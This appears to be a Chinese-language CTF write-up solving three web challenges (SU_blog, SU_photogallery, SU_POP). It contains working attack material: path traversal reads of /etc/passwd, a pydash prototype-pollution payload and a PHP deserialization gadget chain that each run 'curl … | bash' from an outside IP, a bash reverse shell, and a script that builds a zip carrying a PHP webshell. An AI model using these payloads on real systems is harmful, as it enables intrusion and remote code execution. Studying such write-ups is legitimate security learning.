目录
SU_blog
SU_photogallery
SU_POP
SU_blog
先是注册功能覆盖admin账号
以admin身份登录,拿到读文件的权限
./article?file=articles/..././..././..././..././..././..././etc/passwd
./article?file=articles/..././..././..././..././..././..././proc/1/cmdline
./article?file=articles/..././app.py
读到源码
from flask import *
import time, os, json, hashlib
from pydash import set_
from waf import pwaf, cwaf
app = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()
users = {"testuser": "password"}
BASE_DIR = '/var/www/html/myblog/app'
articles = {
1: "articles/article1.txt",
2: "articles/article2.txt",
3: "articles/article3.txt"
}
friend_links = [
{"name": "bkf1sh", "url": "https://ctf.org.cn/"},
{"name": "fushuling", "url": "https://fushuling.com/"},
{"name": "yulate", "url": "https://www.yulate.com/"},
{"name": "zimablue", "url": "https://www.zimablue.life/"},
{"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]
class User():
def __init__(self):
pass
user_data = User()
@app.route('/')
def index():
if 'username' in session:
return render_template('blog.html', articles=articles, friend_links=friend_links)
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username] == password:
session['username'] = username
return redirect(url_for('index'))
else:
return "Invalid credentials", 403
return render_template('login.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
users[username] = password
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/change_password', methods=['GET', 'POST'])
def change_password():
if 'username' not in session:
return redirect(url_for('login'))
if request.method == 'POST':
old_password = request.form['old_password']
new_password = request.form['new_password']
confirm_password = request.form['confirm_password']
if users[session['username']] != old_password:
flash("Old password is incorrect", "error")
elif new_password != confirm_password:
flash("New passwords do not match", "error")
else:
users[session['username']] = new_password
flash("Password changed successfully", "success")
return redirect(url_for('index'))
return render_template('change_password.html')
@app.route('/friendlinks')
def friendlinks():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
return render_template('friendlinks.html', links=friend_links)
@app.route('/add_friendlink', methods=['POST'])
def add_friendlink():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
name = request.form.get('name')
url = request.form.get('url')
if name and url:
friend_links.append({"name": name, "url": url})
return redirect(url_for('friendlinks'))
@app.route('/delete_friendlink/')
def delete_friendlink(index):
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
if 0 <= index < len(friend_links):
del friend_links[index]
return redirect(url_for('friendlinks'))
@app.route('/article')
def article():
if 'username' not in session:
return redirect(url_for('login'))
file_name = request.args.get('file', '')
if not file_name:
return render_template('article.html', file_name='', content="未提供文件名。")
blacklist = ["waf.py"]
if any(blacklisted_file in file_name for blacklisted_file in blacklist):
return render_template('article.html', file_name=file_name, content="大黑阔不许看")
if not file_name.startswith('articles/'):
return render_template('article.html', file_name=file_name, content="无效的文件路径。")
if file_name not in articles.values():
if session.get('username') != 'admin':
return render_template('article.html', file_name=file_name, content="无权访问该文件。")
file_path = os.path.join(BASE_DIR, file_name)
file_path = file_path.replace('../', '')
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except FileNotFoundError:
content = "文件未找到。"
except Exception as e:
app.logger.error(f"Error reading file {file_path}: {e}")
content = "读取文件时发生错误。"
return render_template('article.html', file_name=file_name, content=content)
@app.route('/Admin', methods=['GET', 'POST'])
def admin():
if request.args.get('pass') != "SUers":
return "nonono"
if request.method == 'POST':
try:
body = request.json
if not body:
flash("No JSON data received", "error")
return jsonify({"message": "No JSON data received"}), 400
key = body.get('key')
value = body.get('value')
if key is None or value is None:
flash("Missing required keys: 'key' or 'value'", "error")
return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400
# Additional logic to handle key-value pairs can be added here.
except Exception as e:
flash(f"Error: {str(e)}", "error")
return jsonify({"message": f"Error: {str(e)}"}), 500
return render_template('admin.html')
/Admin路由一眼打pydash原型链污染
污染什么呢,可以污染render_template
参考CTFtime.org / idekCTF 2022* / task manager / Writeup
打入
{"key":"__class__.__init__.__globals__.__builtins__.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;__import__('os').system('curl http://27.25.151.98:1338/shell.sh | bash');#"}
放个恶意shell文件到vps上
bash -c "bash -i >& /dev/tcp/27.25.151.98/1339 0>&1"
随便访问渲染模板的页面,成功反弹shell
SU_photogallery
结合“测试”的提示&404特征辨别题目服务是php -S启动的
存在一个任意文件读取漏洞
PHP Development Server <= 7.4.21 - Remote Source Disclosure — ProjectDiscovery Blog
去读一下unzip.php
bp把自动更新长度关掉
<?php
/*
* @Author: Nbc
* @Date: 2025-01-13 16:13:46
* @LastEditors: Nbc
* @LastEditTime: 2025-01-13 16:31:53
* @FilePath: \src\unzip.php
* @Description:
*
* Copyright (c) 2025 by Nbc, All Rights Reserved.
*/
error_reporting(0);
function get_extension($filename){
return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){
$filePath = $path . DIRECTORY_SEPARATOR . $filename;
if (is_file($filePath)) {
$extension = strtolower(get_extension($filename));
if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
if (!unlink($filePath)) {
// echo "Fail to delete file: $filename\n";
return false;
}
else{
// echo "This file format is not supported:$extension\n";
return false;
}
}
else{
return true;
}
}
else{
// echo "nofile";
return false;
}
}
function file_rename ($path,$file){
$randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);
$oldPath = $path . DIRECTORY_SEPARATOR . $file;
$newPath = $path . DIRECTORY_SEPARATOR . $randomName;
if (!rename($oldPath, $newPath)) {
unlink($path . DIRECTORY_SEPARATOR . $file);
// echo "Fail to rename file: $file\n";
return false;
}
else{
return true;
}
}
function move_file($path,$basePath){
foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {
$destination = $basePath . DIRECTORY_SEPARATOR . basename($file);
if (!rename($file, $destination)){
// echo "Fail to rename file: $file\n";
return false;
}
}
return true;
}
function check_base($fileContent){
$keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
$base64_keywords = [];
foreach ($keywords as $keyword) {
$base64_keywords[] = base64_encode($keyword);
}
foreach ($base64_keywords as $base64_keyword) {
if (strpos($fileContent, $base64_keyword)!== false) {
return true;
}
else{
return false;
}
}
}
function check_content($zip){
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
return false;
}
// echo "Checking file: $fileName\n";
$fileContent = $zip->getFromName($fileName);
if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
// echo "Don't hack me!\n";
return false;
}
else {
continue;
}
}
return true;
}
function unzip($zipname, $basePath) {
$zip = new ZipArchive;
if (!file_exists($zipname)) {
// echo "Zip file does not exist";
return "zip_not_found";
}
if (!$zip->open($zipname)) {
// echo "Fail to open zip file";
return "zip_open_failed";
}
if (!check_content($zip)) {
return "malicious_content_detected";
}
$randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
$path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
if (!mkdir($path, 0777, true)) {
// echo "Fail to create directory";
$zip->close();
return "mkdir_failed";
}
if (!$zip->extractTo($path)) {
// echo "Fail to extract zip file";
$zip->close();
}
else{
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (!check_extension($fileName, $path)) {
// echo "Unsupported file extension";
continue;
}
if (!file_rename($path, $fileName)) {
// echo "File rename failed";
continue;
}
}
}
if (!move_file($path, $basePath)) {
$zip->close();
// echo "Fail to move file";
return "move_failed";
}
rmdir($path);
$zip->close();
return true;
}
$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0777, true);
}
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadedFile = $_FILES['file'];
$zipname = $uploadedFile['tmp_name'];
$path = $uploadDir;
$result = unzip($zipname, $path);
if ($result === true) {
header("Location: index.html?status=success");
exit();
} else {
header("Location: index.html?status=$result");
exit();
}
} else {
header("Location: index.html?status=file_error");
exit();
}
注意到这段代码
因为是先解压再检验文件后缀,所以可以用解压失败来绕过
zip在CTF-web方向中的一些用法 - 个人学习分享
用这段脚本生成恶意zip文件
import zipfile
import io
# 创建一个 BytesIO 对象来存储压缩文件内容
mf = io.BytesIO()
# 使用 zipfile 创建一个 ZIP 文件
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
# 向 ZIP 文件中写入恶意 PHP 文件
zf.writestr('exp.php', b'<?php ($_GET[1])($_POST[2]);?>')
# 向 ZIP 文件中写入一个文件名为 'A' * 5000 的文件,内容为 'AAAAA'
zf.writestr('A' * 5000, b'AAAAA')
# 将生成的 ZIP 文件写入磁盘
with open("shell.zip", "wb") as f:
f.write(mf.getvalue())
上传成功
访问RCE
SU_POP
看到反序列化入口
先是找入口点,全局搜__destruct,看到RejectedPromise这个类对handler、reason可控,可以拼接message触发__toString
再找sink,全局搜eval(
找到一个比较干净的触发eval的类
再全局搜__toString
stream可控,可以触发__call
全局搜__call
从_methodMap中取一组数据,配合_loaded,可以调用任意类的任意方法,最后走到sink
链子
RejectedPromise#__destruct -> Response#__toString -> Table#__call ->BehaviorRegistry#call -> MockClass#generate
exp:
<?php
namespace PHPUnit\Framework\MockObject\Generator;
class MockClass
{
public $classCode;
public $mockName;
public function __construct() {
$this->classCode ="system('curl http://27.25.151.98:1338/shell.sh | bash');";
$this->mockName = "Z3r4y";
}
}
namespace Cake\ORM;
use PHPUnit\Framework\MockObject\Generator\MockClass;
class BehaviorRegistry
{
public $_methodMap;
public $_loaded;
public function __construct() {
$this->_methodMap = ["rewind" => ["Z3r4y", "generate"]];
$this->_loaded = ["Z3r4y" => new MockClass()];
}
}
class Table
{
public $_behaviors;
public function __construct() {
$this->_behaviors = new BehaviorRegistry();
}
}
namespace Cake\Http;
use Cake\ORM\Table;
class Response
{
public $stream;
public function __construct() {
$this->stream = new Table();
}
}
namespace React\Promise\Internal;
use Cake\Http\Response;
final class RejectedPromise
{
public $reason;
public function __construct() {
$this->reason = new Response();
}
}
$a=new RejectedPromise();
echo base64_encode(serialize($a));
往vps上放一个恶意shell脚本
bash -c "bash -i >& /dev/tcp/27.25.151.98/1339 0>&1"
打入:
成功弹上shell
find提权拿flag